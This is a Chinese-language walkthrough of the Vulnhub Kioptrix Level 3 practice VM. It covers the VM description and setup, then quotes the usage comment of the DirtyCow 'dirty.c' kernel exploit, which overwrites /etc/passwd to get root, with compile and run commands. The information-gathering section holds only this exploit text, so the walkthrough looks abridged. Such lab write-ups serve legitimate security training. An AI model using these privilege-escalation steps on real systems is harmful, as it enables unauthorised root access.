今日测试内容渗透Kioptrix Level #3靶机：

Vulnhub是一个提供各种漏洞环境的靶场平台，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞。本文介绍Kioptrix Level #3靶机渗透测试，内容包括主机扫描（nmap\netdiscover）、端口扫描（nmap\masscan）、目录扫描（dirb\dirsearch）、netcat、msf反弹shell、脚本利用、利用脚本进行linux内核提权等内容。

Description
Back to the Top
It’s been a while since the last Kioptrix VM challenge. Life keeps getting the way of these things you know.
After the seeing the number of downloads for the last two, and the numerous videos showing ways to beat these challenges. I felt that 1.2 (or just level 3) needed to come out. Thank you to all that downloaded and played the first two. And thank you to the ones that took the time to produce video solutions of them. Greatly appreciated.
As with the other two, this challenge is geared towards the beginner. It is however different. Added a few more steps and a new skill set is required. Still being the realm of the beginner I must add. The same as the others, there’s more then one way to “pwn” this one. There’s easy and not so easy. Remember… the sense of “easy” or “difficult” is always relative to ones own skill level. I never said these things were exceptionally hard or difficult, but we all need to start somewhere. And let me tell you, making these vulnerable VMs is not as easy as it looks…
Important thing with this challenge. Once you find the IP (DHCP Client) edit your hosts file and point it to kioptrix3.com
Under Windows, you would edit C:\Windows\System32\drivers\etc\hosts to look something like this:
localhost name resolution is handled within DNS itself.
127.0.0.1 localhost
::1 localhost127.0.0.1 static3.cdn.ubi.com
192.168.1.102 kioptrix3.com
Under Linux that would be /etc/hosts
There’s a web application involved, so to have everything nice and properly displayed you really need to this.
Hope you enjoy Kioptrix VM Level 1.2 challenge.

一、环境配置

1.1 靶场信息

官方链接	https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
发布日期	2011年4月18日
靶场大小	442MB
作者	Kioptrix
系列	Kioptrix
难度	★☆☆☆☆

1.2 靶场配置

渗透测试环境配置，请参考作者前面的内容vuInhub靶场实战系列-DC-2实战
【解决办法】- 靶机导入VMware后无法自动获取IP地址
建议将攻击机（kali）的网络模式设置为【桥接模式】

二、信息收集

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."

脚本中已经给出使用方法。
Compile with:

gcc -pthread dirty.c -o dirty -lcrypt
“./dirty” or “./dirty my-new-password”
Afterwards, you can either “su firefart” or “ssh firefart@…”
DON’T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!(mv /tmp/passwd.bak /etc/passwd)
